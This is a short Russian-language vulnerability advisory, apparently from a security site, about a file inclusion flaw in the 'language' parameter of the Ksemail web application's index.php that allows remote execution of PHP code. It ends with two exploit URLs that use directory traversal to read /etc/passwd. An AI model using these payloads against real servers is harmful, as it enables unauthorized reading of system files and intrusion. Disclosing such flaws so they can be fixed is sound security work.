Программа: Ksemail

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «language» сценарием index.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

Эксплоит:

http://site.com/prog/index.php?language=../../../../../../etc/passwd
http://site.com/prog/index.php?lang=../../../../../../etc/passwd



Оставить мнение